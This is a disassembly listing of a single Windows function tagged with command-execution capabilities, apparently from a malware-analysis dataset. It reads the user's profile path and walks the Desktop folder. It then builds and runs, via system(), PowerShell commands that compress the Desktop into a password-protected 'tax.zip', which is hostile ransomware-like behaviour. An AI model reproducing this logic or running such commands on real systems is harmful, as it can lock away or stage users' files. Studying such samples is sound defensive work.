Function at 0x4033a0
Capabilities:
Execute command
Query environment variable

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40a06f
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x338
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.USERPROFILE
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov edx, eax
mov dword [ebp - 0x308], 0
mov ecx, edx
mov dword [ebp - 0x304], 0
xorps xmm0, xmm0
add esp, 4
movups xmmword [ebp - 0x318], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403414
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x318]
call fcn.004074d0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x304]
mov eax, edx
mov ecx, dword [ebp - 0x308]
sub eax, ecx
push 8
push str.Desktop
cmp eax, 8
jb 0x40347d
cmp edx, 0xf
lea esi, [ebp - 0x318]
lea eax, [ecx + 8]
cmova esi, dword [ebp - 0x318]
add esi, ecx
mov dword [ebp - 0x308], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 8], 0
lea eax, [ebp - 0x318]
jmp 0x40348d
push dword [ebp - 0x18]
lea ecx, [ebp - 0x318]
push 8
call fcn.004079e0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x54], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x44], xmm0
mov byte [ebp - 4], 2
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x304]
cmp ecx, 0xf
jbe 0x403504
mov edx, dword [ebp - 0x318]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4034fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4034fa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00408d9c
add esp, 8
cmp dword [ebp - 0x40], 0xf
lea eax, [ebp - 0x54]
push dword [ebp - 0x44]
cmova eax, dword [ebp - 0x54]
push eax
mov dword [ebp - 0x308], 0
mov dword [ebp - 0x304], 0xf
mov byte [ebp - 0x318], 0
call fcn.0040883e
mov edx, eax
lea ecx, [ebp - 0x330]
call fcn.004018f0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
add esp, 4
mov byte [ebp - 4], 4
lea edx, [ebp - 0x330]
lea ecx, [ebp - 0x3c]
call fcn.004069c0
add esp, 4
test eax, eax
jne 0x403dbe
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x31c]
cmp ecx, 7
jbe 0x4035b4
mov edx, dword [ebp - 0x330]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4035aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4035aa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00408d9c
add esp, 8
mov edi, dword [ebp - 0x38]
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
test edi, edi
je 0x4035c7
lock inc dword [edi + 4]
mov esi, dword [ebp - 0x3c]
mov ecx, edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], ecx
test edi, edi
je 0x4035da
lock inc dword [edi + 4]
movlpd qword [ebp - 0x5c], xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
test edi, edi
je 0x403612
or eax, 0xffffffff
lock xadd dword [edi + 4], eax
jne 0x403612
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
jne 0x403612
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov byte [ebp - 4], 8
test esi, esi
je 0x403746
mov ecx, dword [esi + 0x1c]
mov eax, ecx
and eax, 3
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2d8], 0xffff
cmp al, 3
jne 0x40364d
push esi
mov dword [ebp - 0x2d4], 0
push 0
jmp 0x40367f
shr ecx, 1
test cl, 1
je 0x403659
mov ecx, dword [esi + 0x10]
jmp 0x40365c
or ecx, 0xffffffff
cmp dword [esi + 0x34], 7
lea eax, [esi + 0x20]
jbe 0x403667
mov eax, dword [eax]
push ecx
push 3
lea ecx, [ebp - 0x80]
push ecx
push eax
call fcn.00408a2a
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x2d4], eax
push ecx
push eax
lea ecx, [ebp - 0x2dc]
call fcn.004029a0
mov edx, dword [ebp - 0x2d4]
mov eax, dword [ebp - 0x2dc]
test edx, edx
je 0x4036a8
cmp eax, 1
je 0x4036a8
cmp eax, 9
jne 0x403dd8
cmp eax, 2
jne 0x4036b5
lea ecx, [esi + 0x20]
call fcn.00402ff0
lea eax, [ebp - 0x2d0]
push eax
push dword [esi + 0x38]
call fcn.004089b2
cmp eax, 0x12
je 0x403707
test eax, eax
jne 0x403dd1
cmp word [ebp - 0x2a4], 0x2e
jne 0x4036f7
mov ax, word [ebp - 0x2a2]
test ax, ax
je 0x4036b5
cmp ax, 0x2e
jne 0x4036f7
cmp word [ebp - 0x2a0], 0
je 0x4036b5
lea eax, [ebp - 0x2d0]
mov ecx, esi
push eax
call fcn.00402cb0
jmp 0x403737
mov edi, dword [ebp - 0x18]
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
test edi, edi
je 0x403737
or eax, 0xffffffff
lock xadd dword [edi + 4], eax
jne 0x403737
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
jne 0x403737
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
xor eax, eax
test eax, eax
jne 0x403dd1
jmp 0x403616
mov ecx, dword [ebp - 0x18]
or esi, 0xffffffff
test ecx, ecx
je 0x40376e
mov eax, esi
lock xadd dword [ecx + 4], eax
jne 0x40376e
mov eax, dword [ecx]
call dword [eax]
mov ecx, dword [ebp - 0x18]
mov eax, esi
lock xadd dword [ecx + 8], eax
jne 0x40376e
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 2
mov edi, dword [ebp - 0x38]
test edi, edi
je 0x403797
mov eax, esi
lock xadd dword [edi + 4], eax
jne 0x403797
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
lock xadd dword [edi + 8], esi
dec esi
jne 0x403797
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
lea eax, [ebp - 0x54]
mov edx, str.powershell_Compress_Archive__Path__
push eax
lea ecx, [ebp - 0x348]
call fcn.00406da0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 9
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x16
jb 0x4037eb
lea eax, [ecx + 0x16]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x4037d2
mov eax, dword [edi]
push 0x16
lea esi, [eax + ecx]
push str.___DestinationPath__
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x16], 0
jmp 0x403800
push 0x16
push str.___DestinationPath__
push dword [ebp - 0x18]
mov ecx, edi
push 0x16
call fcn.004079e0
mov edi, eax
mov dword [ebp - 0x2d8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2e8], xmm0
mov dword [ebp - 0x2d4], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x2e8], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x2d8], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x54]
cmp dword [ebp - 0x40], 0xf
mov edx, dword [ebp - 0x2d8]
cmova ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x2d4]
mov edi, dword [ebp - 0x44]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x4038aa
cmp dword [ebp - 0x2d4], 0xf
lea esi, [ebp - 0x2e8]
lea eax, [edi + edx]
cmova esi, dword [ebp - 0x2e8]
mov dword [ebp - 0x2d8], eax
lea eax, [esi + edx]
push eax
call sub.VCRUNTIME140.dll_memmove
mov ecx, dword [ebp - 0x18]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x2e8]
jmp 0x4038b9
push dword [ebp - 0x18]
lea ecx, [ebp - 0x2e8]
push edi
call fcn.004079e0
mov dword [ebp - 0x2f0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x300], xmm0
mov dword [ebp - 0x2ec], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x300], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2f0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x2ec]
mov eax, edx
mov ecx, dword [ebp - 0x2f0]
sub eax, ecx
push 0xb
push str._tax.zip__
cmp eax, 0xb
jb 0x40394f
cmp edx, 0xf
lea esi, [ebp - 0x300]
lea eax, [ecx + 0xb]
cmova esi, dword [ebp - 0x300]
add esi, ecx
mov dword [ebp - 0x2f0], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xb], 0
lea eax, [ebp - 0x300]
jmp 0x40395f
push dword [ebp - 0x18]
lea ecx, [ebp - 0x300]
push 0xb
call fcn.004079e0
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x20], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x34], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x24], xmm0
mov byte [ebp - 4], 0xd
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x2ec]
cmp ecx, 0xf
jbe 0x4039d4
mov edx, dword [ebp - 0x300]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4039ca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a74
push ecx
push edx
call fcn.00408d9c
add esp, 8
mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2ec], 0xf
mov byte [ebp - 0x300], 0
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x2d4]
cmp ecx, 0xf
jbe 0x403a29
mov edx, dword [ebp - 0x2e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403a1f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403a74
push ecx
push edx
call fcn.00408d9c
add esp, 8
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 0xf
mov byte [ebp - 0x2e8], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x334]
cmp ecx, 0xf
jbe 0x403a84
mov edx, dword [ebp - 0x348]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403a7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403a7a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00408d9c
add esp, 8
mov edx, dword [ebp - 0x20]
mov eax, edx
mov ecx, dword [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x334], 0xf
mov byte [ebp - 0x348], 0
push 0x13
push str._password__tax_
cmp eax, 0x13
jb 0x403ad6
cmp edx, 0xf
lea esi, [ebp - 0x34]
lea eax, [ecx + 0x13]
cmova esi, dword [ebp - 0x34]
add esi, ecx
mov dword [ebp - 0x24], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x13], 0
jmp 0x403ae3
push dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
push 0x13
call fcn.004079e0
mov edx, dword [ebp - 0x20]
mov eax, edx
mov ecx, dword [ebp - 0x24]
sub eax, ecx
push 0x3b
push str.Add_Type__AssemblyName_System.IO.Compression.FileSystem_
cmp eax, 0x3b
jb 0x403b1a
cmp edx, 0xf
lea esi, [ebp - 0x34]
lea eax, [ecx + 0x3b]
cmova esi, dword [ebp - 0x34]
add esi, ecx
mov dword [ebp - 0x24], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x3b], 0
jmp 0x403b27
push dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
push 0x3b
call fcn.004079e0
lea eax, [ebp - 0x54]
mov edx, str._zip___System.IO.Compression.ZipFile_::Open_
push eax
lea ecx, [ebp - 0x78]
call fcn.00406da0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x10
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x3c
jb 0x403b78
lea eax, [ecx + 0x3c]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x403b5f
mov eax, dword [edi]
push 0x3c
lea esi, [eax + ecx]
push str._tax.zip___System.IO.Compression.ZipArchiveMode_::Update__
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x3c], 0
jmp 0x403b8d
push 0x3c
push str._tax.zip___System.IO.Compression.ZipArchiveMode_::Update__
push dword [ebp - 0x18]
mov ecx, edi
push 0x3c
call fcn.004079e0
mov edi, eax
movups xmm1, xmmword [edi]
movq xmm0, qword [edi + 0x10]
movups xmmword [ebp - 0x330], xmm1
movq qword [ebp - 0x320], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0x11
lea edx, [ebp - 0x330]
cmp dword [ebp - 0x31c], 0xf
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x320]
movd edi, xmm1
push ecx
cmova edx, edi
sub eax, esi
push edx
cmp ecx, eax
ja 0x403c09
cmp dword [ebp - 0x20], 0xf
lea eax, [esi + ecx]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
add esi, eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x320]
add esp, 0xc
mov byte [eax + esi], 0
jmp 0x403c1b
push dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x34]
call fcn.004079e0
mov edi, dword [ebp - 0x330]
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x31c]
cmp eax, 0xf
jbe 0x403c51
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x403c47
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403c7b
push ecx
push edi
call fcn.00408d9c
add esp, 8
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x64]
cmp ecx, 0xf
jbe 0x403c8b
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403c81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403c81
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00408d9c
add esp, 8
mov edx, dword [ebp - 0x20]
mov eax, edx
mov ecx, dword [ebp - 0x24]
sub eax, ecx
push 0x3b
push str._zip.Entries__ForEach_Object____.Password___password__
cmp eax, 0x3b
jb 0x403cc2
cmp edx, 0xf
lea esi, [ebp - 0x34]
lea eax, [ecx + 0x3b]
cmova esi, dword [ebp - 0x34]
add esi, ecx
mov dword [ebp - 0x24], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x3b], 0
jmp 0x403ccf
push dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
push 0x3b
call fcn.004079e0
mov edx, dword [ebp - 0x20]
mov eax, edx
mov ecx, dword [ebp - 0x24]
sub eax, ecx
push 0xf
push str._zip.Dispose___
cmp eax, 0xf
jb 0x403d06
cmp edx, 0xf
lea esi, [ebp - 0x34]
lea eax, [ecx + 0xf]
cmova esi, dword [ebp - 0x34]
add esi, ecx
mov dword [ebp - 0x24], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xf], 0
jmp 0x403d13
push dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
push 0xf
call fcn.004079e0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0xf
jbe 0x403d58
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403d4e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403d90
push ecx
push edx
call fcn.00408d9c
add esp, 8
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
cmp ecx, 0xf
jbe 0x403da0
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403d96
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403d96
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00408d9c
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00408d54
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
lea ecx, [ebp - 0x330]
mov edx, eax
push ecx
mov ecx, str.directory_iterator::directory_iterator
call fcn.00402910
mov edx, eax
call fcn.004027d0
lea eax, [esi + 0x20]
mov ecx, str.directory_entry::status
push eax
call fcn.00402910
int3